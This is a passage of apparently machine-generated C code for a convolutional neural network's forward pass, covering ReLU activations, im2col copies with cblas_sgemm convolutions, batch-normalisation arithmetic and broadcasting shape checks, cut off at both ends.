(float*)myMalloc(x19929 * sizeof(float));;\nfor(int x19969=0; x19969 < x19929; x19969++) {\nfloat x19970 = x19930[x19969];\nbool x19971 = x19970 < 0.0f;\nif (x19971) {\nx19967[x19969] = 0.0f;\n} else {\nfloat x19974 = x19930[x19969];\nx19967[x19969] = x19974;\n}\n\n}\nfloat* x19988 = (float*)myMalloc(x19987 * sizeof(float));;\nint32_t x19991 = 64 * x19919;\nint32_t x19992 = x19991 * x19983;\nfloat* x19993 = (float*)myMalloc(x19992 * sizeof(float));;\nint32_t x19989 = x19919 * x19983;\nfor(int x19994=0; x19994 < 64; x19994++) {\nint32_t x19995 = x19994 * x19928;\nfloat* x19996 = x19967+x19995;\nint32_t x19997 = x19994 * x19984;\nfloat* x19998 = x19988+x19997;\nint32_t x19999 = x19994 * x19989;\nfloat* x20000 = x19993+x19999;\nfor(int x20001=0; x20001 < x19919; x20001++) {\nint32_t x20002 = x20001 / 1;\nint32_t x20006 = x20002 * x19982;\nint32_t x20007 = x20006 * x19982;\nint32_t x20003 = x20001 % 1;\nint32_t x20004 = x20003 / 1;\nint32_t x20008 = x20004 * x19982;\nint32_t x20009 = x20008 * x19982;\nint32_t x20010 = x20007 + x20009;\nint32_t x20005 = x20003 % 1;\nint32_t x20011 = x20005 * x19982;\nint32_t x20012 = x20011 * x19982;\nint32_t x20013 = x20010 + x20012;\nfloat* x20014 = x20000+x20013;\nint32_t x20015 = x20002 * x19921;\nint32_t x20016 = x20015 * x19921;\nfloat* x20017 = x19996+x20016;\nfor(int x20019=0; x20019 < x19982; x20019++) {\nint32_t x20021 = x20019 * x19982;\nfloat* x20022 = x20014+x20021;\nint32_t x20020 = x20019 + x20004;\nint32_t x20023 = x20020 * x19921;\nint32_t x20024 = x20023 + x20005;\nfloat* x20025 = x20017+x20024;\nmemcpy(x20022, x20025, 4 * x19982);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 1024,x19983,x19919,1,x97,x19919,x20000,x19983,1,x19998,x19983);\n\n}\nint32_t x20034 = 0;\nint32_t x20035 = 1;\nx20035 *= 1;\nx20034 += 1;\nx20035 *= 1;\nx20035 *= 1;\nint32_t x20040 = x20034;\nbool x20041 = x20040 >= 2;\nif (x20041) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x20046 = x20040 == 0;\nif (x20046) {\nint32_t x20047 = x20035;\nbool x20048 = x20047 == 1024;\nif (x20048) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x20055 = x20035;\nint32_t x20056 = 1024 / x20055;\nbool x20057 = x20056 == 1;\nbool x20060;\nif (x454) {\nbool x20058 = 1024 == x20056;\nbool x20059 = x20057 || x20058;\nx20060 = x20059;\n} else {\nx20060 = false;\n}\nbool x20064;\nif (x20060) {\nx20064 = x20063;\n} else {\nx20064 = false;\n}\nbool x20065;\nif (x20064) {\nx20065 = x20063;\n} else {\nx20065 = false;\n}\nif (x20065) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,1024,x19982,x19982,1,x20056,1,1);\nassert(false && \"\");\n}\nbool x20071 = 1024 <= x20056;\nint32_t x20072;\nif (x20071) {\nx20072 = x20056;\n} else {\nx20072 = 1024;\n}\nint32_t x20081 = x20072 * x20080;\nint32_t x20082 = 64 * x20081;\nfloat* x20083 = (float*)myMalloc(x20082 * sizeof(float));;\nint32_t x20086;\nif (x20057) {\nx20086 = 0;\n} else {\nx20086 = 1;\n}\nfor(int x20087=0; x20087 < 64; x20087++) {\nint32_t x20099 = x19984 * x20087;\nint32_t x20093 = x20081 * x20087;\nfor(int x20089=0; x20089 < x20072; x20089++) {\nint32_t x20100 = x19983 * x20089;\nint32_t x20101 = x20099 + x20100;\nint32_t x20106 = x20086 * x20089;\nint32_t x20095 = x20080 * x20089;\nfor(int x20091=0; x20091 < x20074; x20091++) {\nint32_t x20102 = x20084 * x20091;\nint32_t x20103 = x20101 + x20102;\nint32_t x20097 = x20074 * x20091;\nfor(int x20092=0; x20092 < x20074; x20092++) {\nint32_t x20104 = x20085 * x20092;\nint32_t x20105 = x20103 + x20104;\nfloat x20107 = x19988[x20105];\nfloat x20108 = x122[x20106];\nint32_t x20094 = x20092 + x20093;\nint32_t x20096 = x20094 + x20095;\nint32_t x20098 = x20096 + x20097;\nfloat x20109 = x20107 - x20108;\nx20083[x20098] = x20109;\n\n}\n\n}\n\n}\n\n}\nfloat* x20119 = (float*)myMalloc(1024 * sizeof(float));;\nfor(int x20120=0; x20120 < 1024; x20120++) {\nfloat x20121 = x183[x20120];\nfloat x20122 = x20121 + 1.0E-5f;\nx20119[x20120] = x20122;\n\n}\nfloat* x20126 = (float*)myMalloc(1024 * sizeof(float));;\nfor(int x20127=0; x20127 < 1024; x20127++) {\nfloat x20128 = x20119[x20127];\ndouble x20129 = (double)x20128;\ndouble x20130 = sqrt(x20129);\nfloat x20131 = (float)x20130;\nx20126[x20127] = x20131;\n\n}\nint32_t x20135 = 0;\nint32_t x20136 = 1;\nx20136 *= 1;\nx20135 += 1;\nx20136 *= 1;\nx20136 *= 1;\nint32_t x20141 = x20135;\nbool x20142 = x20141 >= 2;\nif (x20142) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x20147 = x20141 == 0;\nif (x20147) {\nint32_t x20148 = x20136;\nbool x20149 = x20148 == 1024;\nif (x20149) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x20156 = x20136;\nbool x20158 = x20072 == 1;\nint32_t x20157 = 1024 / x20156;\nbool x20159 = x20157 == 1;\nbool x20163;\nif (x454) {\nbool x20160 = x20158 || x20159;\nbool x20161 = x20072 == x20157;\nbool x20162 = x20160 || x20161;\nx20163 = x20162;\n} else {\nx20163 = false;\n}\nbool x20167;\nif (x20163) {\nx20167 = x20166;\n} else {\nx20167 = false;\n}\nbool x20168;\nif (x20167) {\nx20168 = x20166;\n} else {\nx20168 = false;\n}\nif (x20168) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x20072,x20074,x20074,1,x20157,1,1);\nassert(false && \"\");\n}\nbool x20174 = x20072 <= x20157;\nint32_t x20175;\nif (x20174) {\nx20175 = x20157;\n} else {\nx20175 = x20072;\n}\nint32_t x20184 = x20175 * x20183;\nint32_t x20185 = 64 * x20184;\nfloat* x20186 = (float*)myMalloc(x20185 * sizeof(float));;\nint32_t x20187;\nif (x20158) {\nx20187 = 0;\n} else {\nx20187 = x20080;\n}\nint32_t x20190;\nif (x20159) {\nx20190 = 0;\n} else {\nx20190 = 1;\n}\nfor(int x20191=0; x20191 < 64; x20191++) {\nint32_t x20203 = x20081 * x20191;\nint32_t x20197 = x20184 * x20191;\nfor(int x20193=0; x20193 < x20175; x20193++) {\nint32_t x20204 = x20187 * x20193;\nint32_t x20205 = x20203 + x20204;\nint32_t x20210 = x20190 * x20193;\nint32_t x20199 = x20183 * x20193;\nfor(int x20195=0; x20195 < x20177; x20195++) {\nint32_t x20206 = x20188 * x20195;\nint32_t x20207 = x20205 + x20206;\nint32_t x20201 = x20177 * x20195;\nfor(int x20196=0; x20196 < x20177; x20196++) {\nint32_t x20208 = x20189 * x20196;\nint32_t x20209 = x20207 + x20208;\nfloat x20211 = x20083[x20209];\nfloat x20212 = x20126[x20210];\nint32_t x20198 = x20196 + x20197;\nint32_t x20200 = x20198 + x20199;\nint32_t x20202 = x20200 + x20201;\nfloat x20213 = x20211 / x20212;\nx20186[x20202] = x20213;\n\n}\n\n}\n\n}\n\n}\nint32_t x20223 = 0;\nint32_t x20224 = 1;\nx20224 *= 1;\nx20223 += 1;\nx20224 *= 1;\nx20224 *= 1;\nint32_t x20229 = x20223;\nbool x20230 = x20229 >= 2;\nif (x20230) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x20235 = x20229 == 0;\nif (x20235) {\nint32_t x20236 = x20224;\nbool x20237 = x20236 == 1024;\nif (x20237) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x20244 = x20224;\nbool x20246 = x20175 == 1;\nint32_t x20245 = 1024 / x20244;\nbool x20247 = x20245 == 1;\nbool x20251;\nif (x454) {\nbool x20248 = x20246 || x20247;\nbool x20249 = x20175 == x20245;\nbool x20250 = x20248 || x20249;\nx20251 = x20250;\n} else {\nx20251 = false;\n}\nbool x20255;\nif (x20251) {\nx20255 = x20254;\n} else {\nx20255 = false;\n}\nbool x20256;\nif (x20255) {\nx20256 = x20254;\n} else {\nx20256 = false;\n}\nif (x20256) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x20175,x20177,x20177,1,x20245,1,1);\nassert(false && \"\");\n}\nbool x20262 = x20175 <= x20245;\nint32_t x20263;\nif (x20262) {\nx20263 = x20245;\n} else {\nx20263 = x20175;\n}\nint32_t x20272 = x20263 * x20271;\nint32_t x20273 = 64 * x20272;\nfloat* x20274 = (float*)myMalloc(x20273 * sizeof(float));;\nint32_t x20275;\nif (x20246) {\nx20275 = 0;\n} else {\nx20275 = x20183;\n}\nint32_t x20278;\nif (x20247) {\nx20278 = 0;\n} else {\nx20278 = 1;\n}\nfor(int x20279=0; x20279 < 64; x20279++) {\nint32_t x20291 = x20184 * x20279;\nint32_t x20285 = x20272 * x20279;\nfor(int x20281=0; x20281 < x20263; x20281++) {\nint32_t x20292 = x20275 * x20281;\nint32_t x20293 = x20291 + x20292;\nint32_t x20298 = x20278 * x20281;\nint32_t x20287 = x20271 * x20281;\nfor(int x20283=0; x20283 < x20265; x20283++) {\nint32_t x20294 = x20276 * x20283;\nint32_t x20295 = x20293 + x20294;\nint32_t x20289 = x20265 * x20283;\nfor(int x20284=0; x20284 < x20265; x20284++) {\nint32_t x20296 = x20277 * x20284;\nint32_t x20297 = x20295 + x20296;\nfloat x20299 = x20186[x20297];\nfloat x20300 = x248[x20298];\nint32_t x20286 = x20284 + x20285;\nint32_t x20288 = x20286 + x20287;\nint32_t x20290 = x20288 + x20289;\nfloat x20301 = x20299 * x20300;\nx20274[x20290] = x20301;\n\n}\n\n}\n\n}\n\n}\nint32_t x20311 = 0;\nint32_t x20312 = 1;\nx20312 *= 1;\nx20311 += 1;\nx20312 *= 1;\nx20312 *= 1;\nint32_t x20317 = x20311;\nbool x20318 = x20317 >= 2;\nif (x20318) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x20323 = x20317 == 0;\nif (x20323) {\nint32_t x20324 = x20312;\nbool x20325 = x20324 == 1024;\nif (x20325) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x20332 = x20312;\nbool x20334 = x20263 == 1;\nint32_t x20333 = 1024 / x20332;\nbool x20335 = x20333 == 1;\nbool x20339;\nif (x454) {\nbool x20336 = x20334 || x20335;\nbool x20337 = x20263 == x20333;\nbool x20338 = x20336 || x20337;\nx20339 = x20338;\n} else {\nx20339 = false;\n}\nbool x20343;\nif (x20339) {\nx20343 = x20342;\n} else {\nx20343 = false;\n}\nbool x20344;\nif (x20343) {\nx20344 = x20342;\n} else {\nx20344 = false;\n}\nif (x20344) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x20263,x20265,x20265,1,x20333,1,1);\nassert(false && \"\");\n}\nbool x20350 = x20263 <= x20333;\nint32_t x20351;\nif (x20350) {\nx20351 = x20333;\n} else {\nx20351 = x20263;\n}\nint32_t x20360 = x20351 * x20359;\nint32_t x20361 = 64 * x20360;\nfloat* x20362 = (float*)myMalloc(x20361 * sizeof(float));;\nint32_t x20363;\nif (x20334) {\nx20363 = 0;\n} else {\nx20363 = x20271;\n}\nint32_t x20366;\nif (x20335) {\nx20366 = 0;\n} else {\nx20366 = 1;\n}\nfor(int x20367=0; x20367 < 64; x20367++) {\nint32_t x20379 = x20272 * x20367;\nint32_t x20373 = x20360 * x20367;\nfor(int x20369=0; x20369 < x20351; x20369++) {\nint32_t x20380 = x20363 * x20369;\nint32_t x20381 = x20379 + x20380;\nint32_t x20386 = x20366 * x20369;\nint32_t x20375 = x20359 * x20369;\nfor(int x20371=0; x20371 < x20353; x20371++) {\nint32_t x20382 = x20364 * x20371;\nint32_t x20383 = x20381 + x20382;\nint32_t x20377 = x20353 * x20371;\nfor(int x20372=0; x20372 < x20353; x20372++) {\nint32_t x20384 = x20365 * x20372;\nint32_t x20385 = x20383 + x20384;\nfloat x20387 = x20274[x20385];\nfloat x20388 = x93[x20386];\nint32_t x20374 = x20372 + x20373;\nint32_t x20376 = x20374 + x20375;\nint32_t x20378 = x20376 + x20377;\nfloat x20389 = x20387 + x20388;\nx20362[x20378] = x20389;\n\n}\n\n}\n\n}\n\n}\nbool x20399 = x20351 == 1;\nbool x20400 = x20399 || x18987;\nbool x20401 = x20351 == x18939;\nbool x20402 = x20400 || x20401;\nbool x20407;\nif (x20402) {\nx20407 = x20406;\n} else {\nx20407 = false;\n}\nbool x20408;\nif (x20407) {\nx20408 = x20406;\n} else {\nx20408 = false;\n}\nif (x20408) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x20351,x20353,x20353,64,x18939,x18941,x18941);\nassert(false && \"\");\n}\nbool x20414 = x20351 <= x18939;\nint32_t x20415;\nif (x20414) {\nx20415 = x18939;\n} else {\nx20415 = x20351;\n}\nint32_t x20431;\nif (x20399) {\nx20431 = 0;\n} else {\nx20431 = x20359;\n}\nfor(int x20434=0; x20434 < 64; x20434++) {\nint32_t x20440 = x20360 * x20434;\nint32_t x20447 = x18948 * x20434;\nfor(int x20436=0; x20436 < x20415; x20436++) {\nint32_t x20441 = x20431 * x20436;\nint32_t x20442 = x20440 + x20441;\nint32_t x20448 = x19019 * x20436;\nint32_t x20449 = x20447 + x20448;\nfor(int x20438=0; x20438 < x20417; x20438++) {\nint32_t x20443 = x20432 * x20438;\nint32_t x20444 = x20442 + x20443;\nint32_t x20450 = x19020 * x20438;\nint32_t x20451 = x20449 + x20450;\nfor(int x20439=0; x20439 < x20417; x20439++) {\nint32_t x20445 = x20433 * x20439;\nint32_t x20446 = x20444 + x20445;\nfloat x20454 = x20362[x20446];\nint32_t x20452 = x19021 * x20439;\nint32_t x20453 = x20451 + x20452;\nfloat x20455 = x19054[x20453];\nfloat x20456 = x20454 + x20455;\nx20362[x20446] = x20456;\n\n}\n\n}\n\n}\n\n}\nfloat* x20466 = (float*)myMalloc(x20361 * sizeof(float));;\nfor(int x20468=0; x20468 < x20361; x20468++) {\nfloat x20469 = x20362[x20468];\nbool x20470 = x20469 < 0.0f;\nif (x20470) {\nx20466[x20468] = 0.0f;\n} else {\nfloat x20473 = x20362[x20468];\nx20466[x20468] = x20473;\n}\n\n}\nfloat* x20487 = (float*)myMalloc(x20486 * sizeof(float));;\nint32_t x20490 = 64 * x20351;\nint32_t x20491 = x20490 * x20482;\nfloat* x20492 = (float*)myMalloc(x20491 * sizeof(float));;\nint32_t x20488 = x20351 * x20482;\nfor(int x20493=0; x20493 < 64; x20493++) {\nint32_t x20494 = x20493 * x20360;\nfloat* x20495 = x20466+x20494;\nint32_t x20496 = x20493 * x20483;\nfloat* x20497 = x20487+x20496;\nint32_t x20498 = x20493 * x20488;\nfloat* x20499 = x20492+x20498;\nfor(int x20500=0; x20500 < x20351; x20500++) {\nint32_t x20501 = x20500 / 1;\nint32_t x20505 = x20501 * x20481;\nint32_t x20506 = x20505 * x20481;\nint32_t x20502 = x20500 % 1;\nint32_t x20503 = x20502 / 1;\nint32_t x20507 = x20503 * x20481;\nint32_t x20508 = x20507 * x20481;\nint32_t x20509 = x20506 + x20508;\nint32_t x20504 = x20502 % 1;\nint32_t x20510 = x20504 * x20481;\nint32_t x20511 = x20510 * x20481;\nint32_t x20512 = x20509 + x20511;\nfloat* x20513 = x20499+x20512;\nint32_t x20514 = x20501 * x20353;\nint32_t x20515 = x20514 * x20353;\nfloat* x20516 = x20495+x20515;\nfor(int x20518=0; x20518 < x20481; x20518++) {\nint32_t x20520 = x20518 * x20481;\nfloat* x20521 = x20513+x20520;\nint32_t x20519 = x20518 + x20503;\nint32_t x20522 = x20519 * x20353;\nint32_t x20523 = x20522 + x20504;\nfloat* x20524 = x20516+x20523;\nmemcpy(x20521, x20524, 4 * x20481);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 512,x20482,x20351,1,x139,x20351,x20499,x20482,1,x20497,x20482);\n\n}\nint32_t x20533 = 0;\nint32_t x20534 = 1;\nx20534 *= 1;\nx20533 += 1;\nx20534 *= 1;\nx20534 *= 1;\nint32_t x20539 = x20533;\nbool x20540 = x20539 >= 2;\nif (x20540) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x20545 = x20539 == 0;\nif (x20545) {\nint32_t x20546 = x20534;\nbool x20547 = x20546 == 512;\nif (x20547) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x20554 = x20534;\nint32_t x20555 = 512 / x20554;\nbool x20556 = x20555 == 1;\nbool x20559;\nif (x454) {\nbool x20557 = 512 == x20555;\nbool x20558 = x20556 || x20557;\nx20559 = x20558;\n} else {\nx20559 = false;\n}\nbool x20563;\nif (x20559) {\nx20563 = x20562;\n} else {\nx20563 = false;\n}\nbool x20564;\nif (x20563) {\nx20564 = x20562;\n} else {\nx20564 = false;\n}\nif (x20564) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,512,x20481,x20481,1,x20555,1,1);\nassert(false && \"\");\n}\nbool x20570 = 512 <= x20555;\nint32_t x20571;\nif (x20570) {\nx20571 = x20555;\n} else {\nx20571 = 512;\n}\nint32_t x20580 = x20571 * x20579;\nint32_t x20581 = 64 * x20580;\nfloat* x20582 = (float*)myMalloc(x20581 * sizeof(float));;\nint32_t x20585;\nif (x20556) {\nx20585 = 0;\n} else {\nx20585 = 1;\n}\nfor(int x20586=0; x20586 < 64; x20586++) {\nint32_t x20598 = x20483 * x20586;\nint32_t x20592 = x20580 * x20586;\nfor(int x20588=0; x20588 < x20571; x20588++) {\nint32_t x20599 = x20482 * x20588;\nint32_t x20600 = x20598 + x20599;\nint32_t x20605 = x20585 * x20588;\nint32_t x20594 = x20579 * x20588;\nfor(int x20590=0; x20590 < x20573; x20590++) {\nint32_t x20601 = x20583 * x20590;\nint32_t x20602 = x20600 + x20601;\nint32_t x20596 = x20573 * x20590;\nfor(int x20591=0; x20591 < x20573; x20591++) {\nint32_t x20603 = x20584 * x20591;\nint32_t x20604 = x20602 + x20603;\nfloat x20606 = x20487[x20604];\nfloat x20607 = x67[x20605];\nint32_t x20593 = x20591 + x20592;\nint32_t x20595 = x20593 + x20594;\nint32_t x20597 = x20595 + x20596;\nfloat x20608 = x20606 - x20607;\nx20582[x20597] = x20608;\n\n}\n\n}\n\n}\n\n}\nfloat* x20618 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x20619=0; x20619 < 512; x20619++) {\nfloat x20620 = x121[x20619];\nfloat x20621 = x20620 + 1.0E-5f;\nx20618[x20619] = x20621;\n\n}\nfloat* x20625 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x20626=0; x20626 < 512; x20626++) {\nfloat x20627 = x20618[x20626];\ndouble x20628 = (double)x20627;\ndouble x20629 = sqrt(x20628);\nfloat x20630 = (float)x20629;\nx20625[x20626] = x20630;\n\n}\nint32_t x20634 = 0;\nint32_t x20635 = 1;\nx20635 *= 1;\nx20634 += 1;\nx20635 *= 1;\nx20635 *= 1;\nint32_t x20640 = x20634;\nbool x20641 = x20640 >= 2;\nif (x20641) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x20646 = x20640 == 0;\nif (x20646) {\nint32_t x20647 = x20635;\nbool x20648 = x20647 == 512;\nif (x20648) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x20655 = x20635;\nbool x20657 = x20571 == 1;\nint32_t x20656 = 512 / x20655;\nbool x20658 = x20656 == 1;\nbool x20662;\nif (x454) {\nbool x20659 = x20657 || x20658;\nbool x20660 = x20571 == x20656;\nbool x20661 = x20659 || x20660;\nx20662 = x20661;\n} else {\nx20662 = false;\n}\nbool x20666;\nif (x20662) {\nx20666 = x20665;\n} else {\nx20666 = false;\n}\nbool x20667;\nif (x20666) {\nx20667 = x20665;\n} else {\nx20667 = false;\n}\nif (x20667) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x20571,x20573,x20573,1,x20656,1,1);\nassert(false && \"\");\n}\nbool x20673 = x20571 <= x20656;\nint32_t x20674;\nif (x20673) {\nx20674 = x20656;\n} else {\nx20674 = x20571;\n}\nint32_t x20683 = x20674 * x20682;\nint32_t x20684 = 64 * x20683;\nfloat* x20685 = (float*)myMalloc(x20684 * sizeof(float));;\nint32_t x20686;\nif (x20657) {\nx20686 = 0;\n} else {\nx20686 = x20579;\n}\nint32_t x20689;\nif (x20658) {\nx20689 = 0;\n} else {\nx20689 = 1;\n}\nfor(int x20690=0; x20690 < 64; x20690++) {\nint32_t x20702 = x20580 * x20690;\nint32_t x20696 = x20683 * x20690;\nfor(int x20692=0; x20692 < x20674; x20692++) {\nint32_t x20703 = x20686 * x20692;\nint32_t x20704 = x20702 + x20703;\nint32_t x20709 = x20689 * x20692;\nint32_t x20698 = x20682 * x20692;\nfor(int x20694=0; x20694 < x20676; x20694++) {\nint32_t x20705 = x20687 * x20694;\nint32_t x20706 = x20704 + x20705;\nint32_t x20700 = x20676 * x20694;\nfor(int x20695=0; x20695 < x20676; x20695++) {\nint32_t x20707 = x20688 * x20695;\nint32_t x20708 = x20706 + x20707;\nfloat x20710 = x20582[x20708];\nfloat x20711 = x20625[x20709];\nint32_t x20697 = x20695 + x20696;\nint32_t x20699 = x20697 + x20698;\nint32_t x20701 = x20699 + x20700;\nfloat x20712 = x20710 / x20711;\nx20685[x20701] = x20712;\n\n}\n\n}\n\n}\n\n}\nint32_t x20722 = 0;\nint32_t x20723 = 1;\nx20723 *= 1;\nx20722 += 1;\nx20723 *= 1;\nx20723 *= 1;\nint32_t x20728 = x20722;\nbool x20729 = x20728 >= 2;\nif (x20729) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x20734 = x20728 == 0;\nif (x20734) {\nint32_t x20735 = x20723;\nbool x20736 = x20735 == 512;\nif (x20736) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x20743 = x20723;\nbool x20745 = x20674 == 1;\nint32_t x20744 = 512 / x20743;\nbool x20746 = x20744 == 1;\nbool x20750;\nif (x454) {\nbool x20747 = x20745 || x20746;\nbool x20748 = x20674 == x20744;\nbool x20749 = x20747 || x20748;\nx20750 = x20749;\n} else {\nx20750 = false;\n}\nbool x20754;\nif (x20750) {\nx20754 = x20753;\n} else {\nx20754 = false;\n}\nbool x20755;\nif (x20754) {\nx20755 = x20753;\n} else {\nx20755 = false;\n}\nif (x20755) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x20674,x20676,x20676,1,x20744,1,1);\nassert(false && \"\");\n}\nbool x20761 = x20674 <= x20744;\nint32_t x20762;\nif (x20761) {\nx20762 = x20744;\n} else {\nx20762 = x20674;\n}\nint32_t x20771 = x20762 * x20770;\nint32_t x20772 = 64 * x20771;\nfloat* x20773 = (float*)myMalloc(x20772 * sizeof(float));;\nint32_t x20774;\nif (x20745) {\nx20774 = 0;\n} else {\nx20774 = x20682;\n}\nint32_t x20777;\nif (x20746) {\nx20777 = 0;\n} else {\nx20777 = 1;\n}\nfor(int x20778=0; x20778 < 64; x20778++) {\nint32_t x20790 = x20683 * x20778;\nint32_t x20784 = x20771 * x20778;\nfor(int x20780=0; x20780 < x20762; x20780++) {\nint32_t x20791 = x20774 * x20780;\nint32_t x20792 = x20790 + x20791;\nint32_t x20797 = x20777 * x20780;\nint32_t x20786 = x20770 * x20780;\nfor(int x20782=0; x20782 < x20764; x20782++) {\nint32_t x20793 = x20775 * x20782;\nint32_t x20794 = x20792 + x20793;\nint32_t x20788 = x20764 * x20782;\nfor(int x20783=0; x20783 < x20764; x20783++) {\nint32_t x20795 = x20776 * x20783;\nint32_t x20796 = x20794 + x20795;\nfloat x20798 = x20685[x20796];\nfloat x20799 = x201[x20797];\nint32_t x20785 = x20783 + x20784;\nint32_t x20787 = x20785 + x20786;\nint32_t x20789 = x20787 + x20788;\nfloat x20800 = x20798 * x20799;\nx20773[x20789] = x20800;\n\n}\n\n}\n\n}\n\n}\nint32_t x20810 = 0;\nint32_t x20811 = 1;\nx20811 *= 1;\nx20810 += 1;\nx20811 *= 1;\nx20811 *= 1;\nint32_t x20816 = x20810;\nbool x20817 = x20816 >= 2;\nif (x20817) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x20822 = x20816 == 0;\nif (x20822) {\nint32_t x20823 = x20811;\nbool x20824 = x20823 == 512;\nif (x20824) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x20831 = x20811;\nbool x20833 = x20762 == 1;\nint32_t x20832 = 512 / x20831;\nbool x20834 = x20832 == 1;\nbool x20838;\nif (x454) {\nbool x20835 = x20833 || x20834;\nbool x20836 = x20762 == x20832;\nbool x20837 = x20835 || x20836;\nx20838 = x20837;\n} else {\nx20838 = false;\n}\nbool x20842;\nif (x20838) {\nx20842 = x20841;\n} else {\nx20842 = false;\n}\nbool x20843;\nif (x20842) {\nx20843 = x20841;\n} else {\nx20843 = false;\n}\nif (x20843) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x20762,x20764,x20764,1,x20832,1,1);\nassert(false && \"\");\n}\nbool x20849 = x20762 <= x20832;\nint32_t x20850;\nif (x20849) {\nx20850 = x20832;\n} else {\nx20850 = x20762;\n}\nint32_t x20859 = x20850 * x20858;\nint32_t x20860 = 64 * x20859;\nfloat* x20861 = (float*)myMalloc(x20860 * sizeof(float));;\nint32_t x20862;\nif (x20833) {\nx20862 = 0;\n} else {\nx20862 = x20770;\n}\nint32_t x20865;\nif (x20834) {\nx20865 = 0;\n} else {\nx20865 = 1;\n}\nfor(int x20866=0; x20866 < 64; x20866++) {\nint32_t x20878 = x20771 * x20866;\nint32_t x20872 = x20859 * x20866;\nfor(int x20868=0; x20868 < x20850; x20868++) {\nint32_t x20879 = x20862 * x20868;\nint32_t x20880 = x20878 + x20879;\nint32_t x20885 = x20865 * x20868;\nint32_t x20874 = x20858 * x20868;\nfor(int x20870=0; x20870 < x20852; x20870++) {\nint32_t x20881 = x20863 * x20870;\nint32_t x20882 = x20880 + x20881;\nint32_t x20876 = x20852 * x20870;\nfor(int x20871=0; x20871 < x20852; x20871++) {\nint32_t x20883 = x20864 * x20871;\nint32_t x20884 = x20882 + x20883;\nfloat x20886 = x20773[x20884];\nfloat x20887 = x224[x20885];\nint32_t x20873 = x20871 + x20872;\nint32_t x20875 = x20873 + x20874;\nint32_t x20877 = x20875 + x20876;\nfloat x20888 = x20886 + x20887;\nx20861[x20877] = x20888;\n\n}\n\n}\n\n}\n\n}\nfloat* x20898 = (float*)myMalloc(x20860 * sizeof(float));;\nfor(int x20900=0; x20900 < x20860; x20900++) {\nfloat x20901 = x20861[x20900];\nbool x20902 = x20901 < 0.0f;\nif (x20902) {\nx20898[x20900] = 0.0f;\n} else {\nfloat x20905 = x20861[x20900];\nx20898[x20900] = x20905;\n}\n\n}\nfloat* x20920 = (float*)myMalloc(x20919 * sizeof(float));;\nint32_t x20921 = 9 * x20850;\nint32_t x20924 = 64 * x20921;\nint32_t x20925 = x20924 * x20915;\nfloat* x20926 = (float*)myMalloc(x20925 * sizeof(float));;\nint32_t x20922 = x20921 * x20915;\nint32_t x20934 = x20850 * 3;\nint32_t x20935 = x20934 * 3;\nfor(int x20927=0; x20927 < 64; x20927++) {\nint32_t x20928 = x20927 * x20859;\nfloat* x20929 = x20898+x20928;\nint32_t x20930 = x20927 * x20916;\nfloat* x20931 = x20920+x20930;\nint32_t x20932 = x20927 * x20922;\nfloat* x20933 = x20926+x20932;\nfor(int x20937=0; x20937 < x20935; x20937++) {\nint32_t x20938 = x20937 / 9;\nint32_t x20942 = x20938 * 3;\nint32_t x20943 = x20942 * 3;\nint32_t x20944 = x20943 * x20914;\nint32_t x20945 = x20944 * x20914;\nint32_t x20939 = x20937 % 9;\nint32_t x20940 = x20939 / 3;\nint32_t x20946 = x20940 * 3;\nint32_t x20947 = x20946 * x20914;\nint32_t x20948 = x20947 * x20914;\nint32_t x20949 = x20945 + x20948;\nint32_t x20941 = x20939 % 3;\nint32_t x20950 = x20941 * x20914;\nint32_t x20951 = x20950 * x20914;\nint32_t x20952 = x20949 + x20951;\nfloat* x20953 = x20933+x20952;\nint32_t x20954 = x20938 * x20852;\nint32_t x20955 = x20954 * x20852;\nfloat* x20956 = x20929+x20955;\nfor(int x20958=0; x20958 < x20914; x20958++) {\nint32_t x20959 = x20958 * 2;\nint32_t x20960 = x20959 - 1;\nint32_t x20961 = x20960 + x20940;\nbool x20962 = x20961 < 0;\nbool x20963 = x20961 >= 